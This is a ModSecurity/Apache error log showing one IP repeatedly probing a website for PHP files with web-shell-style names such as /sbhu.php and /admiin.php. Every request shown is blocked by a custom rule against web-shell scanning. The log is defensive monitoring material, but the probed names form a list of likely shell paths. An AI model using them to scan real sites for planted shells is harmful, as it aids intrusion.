[Thu Feb 26 21:06:36.177493 2026] [:error] [pid 3883:tid 3894] [client 20.216.146.160:11383] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/sbhu.php"] [unique_id "aaBFXOA33x90V6yYHajhhwAAAUg"]
[Thu Feb 26 21:06:36.658754 2026] [:error] [pid 20419:tid 20436] [client 20.216.146.160:12593] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-the.php"] [unique_id "aaBFXO3DVDvMfTYYUBVTPAAAAc4"]
[Thu Feb 26 21:06:37.129160 2026] [:error] [pid 54991:tid 55043] [client 20.216.146.160:11371] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-the.php"] [unique_id "aaBFXd4Zx-mJ8gbRB2jkNgAAAFc"]
[Thu Feb 26 21:06:37.602600 2026] [:error] [pid 3883:tid 3895] [client 20.216.146.160:39575] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-the.php"] [unique_id "aaBFXeA33x90V6yYHajhiQAAAUk"]
[Thu Feb 26 21:06:38.086487 2026] [:error] [pid 44444:tid 44462] [client 20.216.146.160:11367] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-the.php"] [unique_id "aaBFXm2sMNmj-yekUk0YRwAAAgw"]
[Thu Feb 26 21:06:38.556178 2026] [:error] [pid 44444:tid 44468] [client 20.216.146.160:11369] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/06.php"] [unique_id "aaBFXm2sMNmj-yekUk0YSAAAAhI"]
[Thu Feb 26 21:06:39.025806 2026] [:error] [pid 55051:tid 55055] [client 20.216.146.160:48081] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/06.php"] [unique_id "aaBFXwmK1w2kZvh5eLGn_QAAAIE"]
[Thu Feb 26 21:06:39.496218 2026] [:error] [pid 55051:tid 55074] [client 20.216.146.160:27744] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/06.php"] [unique_id "aaBFXwmK1w2kZvh5eLGn_wAAAJQ"]
[Thu Feb 26 21:06:39.965918 2026] [:error] [pid 44444:tid 44456] [client 20.216.146.160:48070] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/06.php"] [unique_id "aaBFX22sMNmj-yekUk0YSQAAAgY"]
[Thu Feb 26 21:06:40.437630 2026] [:error] [pid 20419:tid 20431] [client 20.216.146.160:48119] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aaBFYO3DVDvMfTYYUBVTPgAAAck"]
[Thu Feb 26 21:06:40.906651 2026] [:error] [pid 54991:tid 55038] [client 20.216.146.160:48094] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aaBFYN4Zx-mJ8gbRB2jkNwAAAFI"]
[Thu Feb 26 21:06:41.378424 2026] [:error] [pid 25311:tid 25319] [client 20.216.146.160:41661] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aaBFYdfdM__yZAgJFSvd1gAAAYU"]
[Thu Feb 26 21:06:41.855351 2026] [:error] [pid 55051:tid 55066] [client 20.216.146.160:20061] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aaBFYQmK1w2kZvh5eLGoBQAAAIw"]
[Thu Feb 26 21:06:42.325438 2026] [:error] [pid 25311:tid 25335] [client 20.216.146.160:48095] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fot.php"] [unique_id "aaBFYtfdM__yZAgJFSvd2gAAAZU"]
[Thu Feb 26 21:06:42.803649 2026] [:error] [pid 25311:tid 25323] [client 20.216.146.160:41018] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fot.php"] [unique_id "aaBFYtfdM__yZAgJFSvd2wAAAYk"]
[Thu Feb 26 21:06:43.278684 2026] [:error] [pid 25311:tid 25330] [client 20.216.146.160:37667] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fot.php"] [unique_id "aaBFY9fdM__yZAgJFSvd3QAAAZA"]
[Thu Feb 26 21:06:43.750544 2026] [:error] [pid 3883:tid 3893] [client 20.216.146.160:35561] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fot.php"] [unique_id "aaBFY-A33x90V6yYHajhkgAAAUc"]
[Thu Feb 26 21:06:44.220620 2026] [:error] [pid 54991:tid 55032] [client 20.216.146.160:20050] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ff1.php"] [unique_id "aaBFZN4Zx-mJ8gbRB2jkOAAAAEw"]
[Thu Feb 26 21:06:44.692317 2026] [:error] [pid 55051:tid 55056] [client 20.216.146.160:32464] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ff1.php"] [unique_id "aaBFZAmK1w2kZvh5eLGoDAAAAII"]
[Thu Feb 26 21:06:45.178196 2026] [:error] [pid 55122:tid 55144] [client 20.216.146.160:20099] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ff1.php"] [unique_id "aaBFZYLiR0OfjFxvcN8uJAAAANQ"]
[Thu Feb 26 21:06:45.652401 2026] [:error] [pid 25311:tid 25326] [client 20.216.146.160:11367] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ff1.php"] [unique_id "aaBFZdfdM__yZAgJFSvd4gAAAYw"]
[Thu Feb 26 21:06:46.130961 2026] [:error] [pid 55618:tid 55625] [client 20.216.146.160:35573] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/forbidals.php"] [unique_id "aaBFZh61Vrh12f_8oWQJ-wAAAQQ"]
[Thu Feb 26 21:06:46.600374 2026] [:error] [pid 25311:tid 25331] [client 20.216.146.160:52603] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/forbidals.php"] [unique_id "aaBFZtfdM__yZAgJFSvd5AAAAZE"]
[Thu Feb 26 21:06:47.084095 2026] [:error] [pid 55122:tid 55133] [client 20.216.146.160:32458] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/forbidals.php"] [unique_id "aaBFZ4LiR0OfjFxvcN8uJgAAAMk"]
[Thu Feb 26 21:06:47.556168 2026] [:error] [pid 55051:tid 55057] [client 20.216.146.160:20081] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/forbidals.php"] [unique_id "aaBFZwmK1w2kZvh5eLGoEAAAAIM"]
[Thu Feb 26 21:06:48.034034 2026] [:error] [pid 25311:tid 25314] [client 20.216.146.160:32490] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/erty.php"] [unique_id "aaBFaNfdM__yZAgJFSvd6AAAAYA"]
[Thu Feb 26 21:06:48.506046 2026] [:error] [pid 44444:tid 44471] [client 20.216.146.160:20058] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/erty.php"] [unique_id "aaBFaG2sMNmj-yekUk0YSwAAAhU"]
[Thu Feb 26 21:06:48.980244 2026] [:error] [pid 20419:tid 20441] [client 20.216.146.160:32470] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/erty.php"] [unique_id "aaBFaO3DVDvMfTYYUBVTQAAAAdM"]
[Thu Feb 26 21:06:49.463976 2026] [:error] [pid 44444:tid 44452] [client 20.216.146.160:37647] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/erty.php"] [unique_id "aaBFaW2sMNmj-yekUk0YTwAAAgI"]
[Thu Feb 26 21:06:49.949007 2026] [:error] [pid 3883:tid 3895] [client 20.216.146.160:32507] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/dev1s.php"] [unique_id "aaBFaeA33x90V6yYHajhmAAAAUk"]
[Thu Feb 26 21:06:50.421465 2026] [:error] [pid 20419:tid 20446] [client 20.216.146.160:40967] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/dev1s.php"] [unique_id "aaBFau3DVDvMfTYYUBVTQQAAAdg"]
[Thu Feb 26 21:06:50.898435 2026] [:error] [pid 54991:tid 55028] [client 20.216.146.160:41643] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/dev1s.php"] [unique_id "aaBFat4Zx-mJ8gbRB2jkOQAAAEg"]
[Thu Feb 26 21:06:51.368328 2026] [:error] [pid 3883:tid 3894] [client 20.216.146.160:41611] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/dev1s.php"] [unique_id "aaBFa-A33x90V6yYHajhpQAAAUg"]
[Thu Feb 26 21:06:51.863846 2026] [:error] [pid 3883:tid 3897] [client 20.216.146.160:35570] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ffd.php"] [unique_id "aaBFa-A33x90V6yYHajhqAAAAUs"]
[Thu Feb 26 21:06:52.348758 2026] [:error] [pid 3883:tid 3898] [client 20.216.146.160:52600] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ffd.php"] [unique_id "aaBFbOA33x90V6yYHajhsAAAAUw"]
[Thu Feb 26 21:06:52.819498 2026] [:error] [pid 44444:tid 44454] [client 20.216.146.160:20060] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ffd.php"] [unique_id "aaBFbG2sMNmj-yekUk0YVgAAAgQ"]
[Thu Feb 26 21:06:53.311292 2026] [:error] [pid 3883:tid 3903] [client 20.216.146.160:35520] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ffd.php"] [unique_id "aaBFbeA33x90V6yYHajhtwAAAVE"]
[Thu Feb 26 21:06:53.781394 2026] [:error] [pid 55618:tid 55627] [client 20.216.146.160:16424] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/admiin.php"] [unique_id "aaBFbR61Vrh12f_8oWQJ_QAAAQY"]
[Thu Feb 26 21:06:54.254114 2026] [:error] [pid 55618:tid 55639] [client 20.216.146.160:20149] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/admiin.php"] [unique_id "aaBFbh61Vrh12f_8oWQJ_gAAARI"]
[Thu Feb 26 21:06:54.723737 2026] [:error] [pid 25311:tid 25325] [client 20.216.146.160:45383] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/admiin.php"] [unique_id "aaBFbtfdM__yZAgJFSvd9wAAAYs"]
[Thu Feb 26 21:06:55.194052 2026] [:error] [pid 25311:tid 25331] [client 20.216.146.160:33964] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/admiin.php"] [unique_id "aaBFb9fdM__yZAgJFSvd-QAAAZE"]
[Thu Feb 26 21:06:55.666596 2026] [:error] [pid 55122:tid 55142] [client 20.216.146.160:41652] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ol.php"] [unique_id "aaBFb4LiR0OfjFxvcN8uKgAAANI"]
[Thu Feb 26 21:06:56.137291 2026] [:error] [pid 25311:tid 25333] [client 20.216.146.160:41601] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ol.php"] [unique_id "aaBFcNfdM__yZAgJFSvd_AAAAZM"]
[Thu Feb 26 21:06:56.606960 2026] [:error] [pid 55618:tid 55632] [client 20.216.146.160:33931] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ol.php"] [unique_id "aaBFcB61Vrh12f_8oWQKAAAAAQs"]
[Thu Feb 26 21:06:57.081255 2026] [:error] [pid 55122:tid 55146] [client 20.216.146.160:20048] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ol.php"] [unique_id "aaBFcYLiR0OfjFxvcN8uLQAAANY"]
[Thu Feb 26 21:06:57.566280 2026] [:error] [pid 44444:tid 44462] [client 20.216.146.160:40997] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/Sanskrit.php"] [unique_id "aaBFcW2sMNmj-yekUk0YWwAAAgw"]
[Thu Feb 26 21:06:58.038969 2026] [:error] [pid 55051:tid 55062] [client 20.216.146.160:33947] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/Sanskrit.php"] [unique_id "aaBFcgmK1w2kZvh5eLGoLAAAAIg"]
[Thu Feb 26 21:06:58.523255 2026] [:error] [pid 44444:tid 44471] [client 20.216.146.160:20115] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/Sanskrit.php"] [unique_id "aaBFcm2sMNmj-yekUk0YXQAAAhU"]
[Thu Feb 26 21:06:59.002161 2026] [:error] [pid 3883:tid 3903] [client 20.216.146.160:33934] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/Sanskrit.php"] [unique_id "aaBFc-A33x90V6yYHajhugAAAVE"]
[Thu Feb 26 21:06:59.511455 2026] [:error] [pid 3883:tid 3894] [client 20.216.146.160:33933] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/vxrl.php"] [unique_id "aaBFc-A33x90V6yYHajhvQAAAUg"]
[Thu Feb 26 21:07:00.037223 2026] [:error] [pid 54991:tid 55031] [client 20.216.146.160:28917] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/vxrl.php"] [unique_id "aaBFdN4Zx-mJ8gbRB2jkPAAAAEs"]
[Thu Feb 26 21:07:00.509399 2026] [:error] [pid 44444:tid 44467] [client 20.216.146.160:33961] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/vxrl.php"] [unique_id "aaBFdG2sMNmj-yekUk0YYgAAAhE"]
[Thu Feb 26 21:07:00.991806 2026] [:error] [pid 55122:tid 55124] [client 20.216.146.160:52595] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/vxrl.php"] [unique_id "aaBFdILiR0OfjFxvcN8uMAAAAMA"]
[Thu Feb 26 21:07:01.505081 2026] [:error] [pid 3883:tid 3887] [client 20.216.146.160:37668] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/re.php"] [unique_id "aaBFdeA33x90V6yYHajhzQAAAUE"]
[Thu Feb 26 21:07:01.988107 2026] [:error] [pid 20419:tid 20425] [client 20.216.146.160:33962] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/re.php"] [unique_id "aaBFde3DVDvMfTYYUBVTXQAAAcM"]
[Thu Feb 26 21:07:02.462669 2026] [:error] [pid 55122:tid 55147] [client 20.216.146.160:33955] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/re.php"] [unique_id "aaBFdoLiR0OfjFxvcN8uMwAAANc"]
